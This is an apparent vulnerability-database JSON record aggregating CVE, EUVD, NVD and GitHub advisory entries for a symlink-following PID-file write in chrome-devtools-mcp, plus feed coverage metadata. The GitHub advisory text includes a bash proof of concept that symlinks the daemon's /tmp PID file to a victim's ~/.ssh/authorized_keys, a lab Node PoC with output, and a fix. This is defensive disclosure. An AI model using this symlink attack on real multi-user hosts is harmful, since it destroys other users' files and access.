{"id":"CVE-2026-53765","revision":null,"records":[{"revision":"d46554e7ef1743f0ab6860a7d44d3dce","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-53765","aliases":[],"title":"chrome-devtools-mcp: daemon.pid write follows symlinks in /tmp fallback runtime directory","description":"Chrome DevTools for agents (chrome-devtools-mcp) lets your coding agent control and inspect a live Chrome browser. From 0.20.0 until 1.1.0, The chrome-devtools-mcp daemon writes its PID file with fs.writeFileSync() to a deterministic runtime path. On typical macOS environments, and on Linux sessions where $XDG_RUNTIME_DIR is unset, that runtime path falls back to /tmp/chrome-devtools-mcp-<uid>/daemon.pid. Because the write does not use O_NOFOLLOW, a local low-privilege user on the same POSIX host can pre-create /tmp/chrome-devtools-mcp-<victim_uid>/daemon.pid as a symlink to a file writable by the victim. When the victim later starts daemon mode, fs.writeFileSync() follows the symlink and truncates the target file to the daemon PID string. This vulnerability is fixed in  1.1.0.","state":0,"publishedAt":"2026-06-24T21:30:42.954+00:00","modifiedAt":"2026-06-26T18:43:32.81+00:00","affected":[{"ecosystem":"Vendor product","name":"chrome-devtools-mcp","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"ChromeDevTools\",\n                    \"product\": \"chrome-devtools-mcp\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 0.20.0, <  1.1.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L","score":6.1,"severity":"MEDIUM"}],"references":["https://github.com/ChromeDevTools/chrome-devtools-mcp/security/advisories/GHSA-3pvj-jv98-qhjq"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-53765","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-53765","identifiers":["CVE-2026-53765"]},"retained":false,"historicalAffected":[]},{"revision":"1e33fe219e154778a8febb312587fdb4","observedAt":"2026-11-07T11:38:51.443+00:00","statement":{"source":"euvd","id":"EUVD-2026-39105","aliases":["CVE-2026-53765","GHSA-3pvj-jv98-qhjq"],"title":"Chrome DevTools for agents (chrome-devtools-mcp) lets your coding agent control and inspect a live Chrome browser. From 0.20.0 until 1.1.0, The chrome-devtools-mcp daemon writes its PID file with fs.writeFileSync() to a deterministic runtim…","description":"Chrome DevTools for agents (chrome-devtools-mcp) lets your coding agent control and inspect a live Chrome browser. From 0.20.0 until 1.1.0, The chrome-devtools-mcp daemon writes its PID file with fs.writeFileSync() to a deterministic runtime path. On typical macOS environments, and on Linux sessions where $XDG_RUNTIME_DIR is unset, that runtime path falls back to /tmp/chrome-devtools-mcp-<uid>/daemon.pid. Because the write does not use O_NOFOLLOW, a local low-privilege user on the same POSIX host can pre-create /tmp/chrome-devtools-mcp-<victim_uid>/daemon.pid as a symlink to a file writable by the victim. When the victim later starts daemon mode, fs.writeFileSync() follows the symlink and truncates the target file to the daemon PID string. This vulnerability is fixed in  1.1.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L","score":6.1,"severity":null}],"references":["https://github.com/ChromeDevTools/chrome-devtools-mcp/security/advisories/GHSA-3pvj-jv98-qhjq"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-39105","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jun 24, 2026, 9:30:42 PM","dateUpdated":"Jun 26, 2026, 6:43:32 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-39105","identifiers":["EUVD-2026-39105","CVE-2026-53765","GHSA-3pvj-jv98-qhjq"]},"retained":false,"historicalAffected":[]},{"revision":"f9822136ff7845a5b3662485542d1db0","observedAt":"2026-10-27T14:13:22.737+00:00","statement":{"source":"nvd","id":"CVE-2026-53765","aliases":[],"title":"Chrome DevTools for agents (chrome-devtools-mcp) lets your coding agent control and inspect a live Chrome browser. From 0.20.0 until 1.1.0, The chrome-devtools-mcp daemon writes its PID file with fs.writeFileSync() to a deterministic runtim…","description":"Chrome DevTools for agents (chrome-devtools-mcp) lets your coding agent control and inspect a live Chrome browser. From 0.20.0 until 1.1.0, The chrome-devtools-mcp daemon writes its PID file with fs.writeFileSync() to a deterministic runtime path. On typical macOS environments, and on Linux sessions where $XDG_RUNTIME_DIR is unset, that runtime path falls back to /tmp/chrome-devtools-mcp-<uid>/daemon.pid. Because the write does not use O_NOFOLLOW, a local low-privilege user on the same POSIX host can pre-create /tmp/chrome-devtools-mcp-<victim_uid>/daemon.pid as a symlink to a file writable by the victim. When the victim later starts daemon mode, fs.writeFileSync() follows the symlink and truncates the target file to the daemon PID string. This vulnerability is fixed in  1.1.0.","state":0,"publishedAt":"2026-06-24T22:16:47.783+00:00","modifiedAt":"2026-10-25T23:10:00.167+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L","score":6.1,"severity":"MEDIUM"}],"references":["https://github.com/ChromeDevTools/chrome-devtools-mcp/security/advisories/GHSA-3pvj-jv98-qhjq"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-53765","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-59"],"productCriteria":["cpe:2.3:a:google:chrome-devtools-mcp:*:*:*:*:*:node.js:*:*"],"sourceDates":{"published":"2026-06-24T22:16:47.783","lastModified":"2026-10-25T23:10:00.167"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-53765","identifiers":["CVE-2026-53765"]},"retained":false,"historicalAffected":[]},{"revision":"fe53c93b61184caf92d5058b780b4ab7","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-3pvj-jv98-qhjq","aliases":["CVE-2026-53765"],"title":"Chrome DevTools for agents: daemon.pid write follows symlinks in /tmp fallback runtime directory","description":"### Summary\n\nThe chrome-devtools-mcp daemon writes its PID file with `fs.writeFileSync()` to a deterministic runtime path. On typical macOS environments, and on Linux sessions where `$XDG_RUNTIME_DIR` is unset, that runtime path falls back to `/tmp/chrome-devtools-mcp-<uid>/daemon.pid`.\n\nBecause the write does not use `O_NOFOLLOW`, a local low-privilege user on the same POSIX host can pre-create `/tmp/chrome-devtools-mcp-<victim_uid>/daemon.pid` as a symlink to a file writable by the victim. When the victim later starts daemon mode, `fs.writeFileSync()` follows the symlink and truncates the target file to the daemon PID string.\n\nThis report is deliberately scoped to POSIX systems where the daemon falls back to `/tmp`: typical macOS environments and Linux sessions without `$XDG_RUNTIME_DIR`. Windows is out of scope because the default temp directory is per-user and symlink creation has additional privilege requirements.\n\n### Details\n\nAffected code:\n\n`src/daemon/daemon.ts:38-42`\n\n```ts\nconst pidFilePath = getPidFilePath(sessionId);\nfs.mkdirSync(path.dirname(pidFilePath), {\n  recursive: true,\n});\nfs.writeFileSync(pidFilePath, process.pid.toString());\n```\n\n`src/daemon/utils.ts:49-68`\n\n```ts\nexport function getRuntimeHome(sessionId: string): string {\n  const platform = os.platform();\n  const uid = os.userInfo().uid;\n  const suffix = sessionId ? `-${sessionId}` : '';\n  const appName = APP_NAME + suffix;\n\n  if (process.env.XDG_RUNTIME_DIR) {\n    return path.join(process.env.XDG_RUNTIME_DIR, appName);\n  }\n\n  if (platform === 'darwin' || platform === 'linux') {\n    return path.join('/tmp', `${appName}-${uid}`);\n  }\n\n  return path.join(os.tmpdir(), appName);\n}\n```\n\nThe `/tmp` sticky bit prevents non-owner file removal, but it does not prevent another local user from creating a subdirectory under `/tmp`. If an attacker creates `/tmp/chrome-devtools-mcp-<victim_uid>/` first and places a symlink at `daemon.pid`, the victim's daemon process follows that link when writing the PID.\n\nPreconditions:\n\n- The victim is on a typical macOS environment where `$XDG_RUNTIME_DIR` is unset, or on a Linux system/session where `$XDG_RUNTIME_DIR` is unset.\n- The attacker has any local user account on the same host.\n- The victim later runs a `chrome-devtools` CLI path or MCP integration that starts daemon mode.\n\n### PoC\n\nRealistic POSIX scenario:\n\n```bash\n# Attacker, before victim starts daemon mode.\nvictim_uid=1000\nmkdir -p \"/tmp/chrome-devtools-mcp-${victim_uid}\"\nchmod 0755 \"/tmp/chrome-devtools-mcp-${victim_uid}\"\nln -s \"/home/victim/.ssh/authorized_keys\" \\\n      \"/tmp/chrome-devtools-mcp-${victim_uid}/daemon.pid\"\n\n# Victim later starts daemon mode.\nchrome-devtools start\n\n# Result:\n# fs.writeFileSync follows the symlink, so authorized_keys is truncated to\n# the daemon PID string.\n```\n\nLab-only PoC that touches only a fresh `os.tmpdir()/cdtmcp-lab-*` directory:\n\n```js\nconst fs = require('node:fs');\nconst os = require('node:os');\nconst path = require('node:path');\n\nconst lab = fs.mkdtempSync(path.join(os.tmpdir(), 'cdtmcp-lab-'));\n\ntry {\n  fs.chmodSync(lab, 0o755);\n\n  const victimSecret = path.join(lab, 'victim-secret.txt');\n  fs.writeFileSync(\n    victimSecret,\n    'IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED\\n',\n  );\n\n  const runtimeDir = path.join(lab, 'attacker-pre-created');\n  fs.mkdirSync(runtimeDir, {recursive: true});\n\n  const pidFilePath = path.join(runtimeDir, 'daemon.pid');\n  fs.symlinkSync(victimSecret, pidFilePath);\n\n  // Exact pattern from src/daemon/daemon.ts:39-42.\n  fs.mkdirSync(path.dirname(pidFilePath), {recursive: true});\n  fs.writeFileSync(pidFilePath, process.pid.toString());\n\n  console.log(fs.readFileSync(victimSecret, 'utf8'));\n  // -> \"<pid>\"  (victim file was truncated/overwritten)\n} finally {\n  fs.rmSync(lab, {recursive: true, force: true});\n}\n```\n\nObserved output from the lab PoC:\n\n```text\n[setup] victim secret BEFORE attack:\n  IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED\n[attack] symlink placed: <runtimeDir>/daemon.pid -> <victimSecret>\n[victim ran daemon] victim secret AFTER:\n  <pid>\n[lstat pidFile] still symlink\n[outcome] victim file was overwritten via attacker-placed symlink.\n```\n\nI can provide the standalone `pidfile_symlink_poc.cjs` file if needed. The attached/local version includes platform notes, Windows symlink-permission diagnostics, and cleanup guards.\n\n### Impact\n\nWho can exploit:\n\nAny local user account on the same POSIX host where the victim runs the chrome-devtools-mcp daemon, when `$XDG_RUNTIME_DIR` is unset for that user session.\n\nSecurity impact:\n\n- Integrity: an attacker can truncate and overwrite any file the victim can write, with content constrained to the daemon PID string.\n- Availability: critical user configuration files can be corrupted until restored from backup.\n- Confidentiality: none directly; the written content is only the PID string.\n\nExample targets affected by truncation:\n\n- `~/.ssh/authorized_keys`, causing the victim to lose SSH access.\n- `~/.bashrc`, `~/.zshrc`, or `~/.profile`, breaking shell startup.\n- Project `.env`, `secrets.json`, license files, or line-oriented config files.\n- Logs or local audit files writable by the victim.\n\nSuggested fix:\n\nOpen the PID file with `O_NOFOLLOW` and validate runtime directory ownership/permissions before writing:\n\n```ts\nimport {constants, openSync, writeSync, closeSync} from 'node:fs';\n\nconst fd = openSync(\n  pidFilePath,\n  constants.O_WRONLY |\n    constants.O_CREAT |\n    constants.O_TRUNC |\n    constants.O_NOFOLLOW,\n  0o600,\n);\nwriteSync(fd, process.pid.toString());\ncloseSync(fd);\n```","state":0,"publishedAt":"2026-06-17T14:01:04+00:00","modifiedAt":"2026-07-21T13:45:26.6072333+00:00","affected":[{"ecosystem":"npm","name":"chrome-devtools-mcp","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0.20.0"},{"kind":"fixed","version":"1.1.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/ChromeDevTools/chrome-devtools-mcp/security/advisories/GHSA-3pvj-jv98-qhjq","https://nvd.nist.gov/vuln/detail/CVE-2026-53765","https://github.com/ChromeDevTools/chrome-devtools-mcp"],"sourceUrl":"https://github.com/advisories/GHSA-3pvj-jv98-qhjq","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-3pvj-jv98-qhjq","identifiers":["GHSA-3pvj-jv98-qhjq","CVE-2026-53765"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T20:07:23.8593986+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T20:07:23.8593986+00:00","lastSuccessAt":"2026-11-07T20:07:24.014368+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:24.014369+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-aac6631b84e101279eb6b1c3835f52bf7b26c50f4d25bc0fb35977235593f4a7","complete":true,"records":420943,"lastAttemptAt":"2026-11-07T20:07:23.1739993+00:00","lastSuccessAt":"2026-11-07T20:07:23.0712879+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:23.1739993+00:00","snapshotPublishedAt":"2026-11-07T19:18:33+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-c5a2504558b549559b8658a653596391","complete":true,"records":13633,"lastAttemptAt":"2026-11-07T20:19:26.3099435+00:00","lastSuccessAt":"2026-11-07T20:19:26.304+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:19:26.304+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T20:07:23.8593986+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T20:07:23.8593986+00:00","lastSuccessAt":"2026-11-07T20:07:24.0152025+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:24.0152028+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-191690d52ba04a91b1a2749fa6191ceb","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T20:07:42.8841875+00:00","lastSuccessAt":"2026-11-07T20:07:42.881+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:42.881+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T20:07:23.800032+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:23.800032+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T20:07:23.2420378+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:23.2420378+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T20:07:23.8227715+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:23.8227715+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-40ad6183a951565ace1520a9b4d631e1d0bfb1d4bf7c5574c375032559f3ff53","complete":true,"records":231292,"lastAttemptAt":"2026-11-07T20:07:23.4659623+00:00","lastSuccessAt":"2026-11-07T10:29:00.4821259+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:23.4659623+00:00","snapshotPublishedAt":"2026-11-07T09:32:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}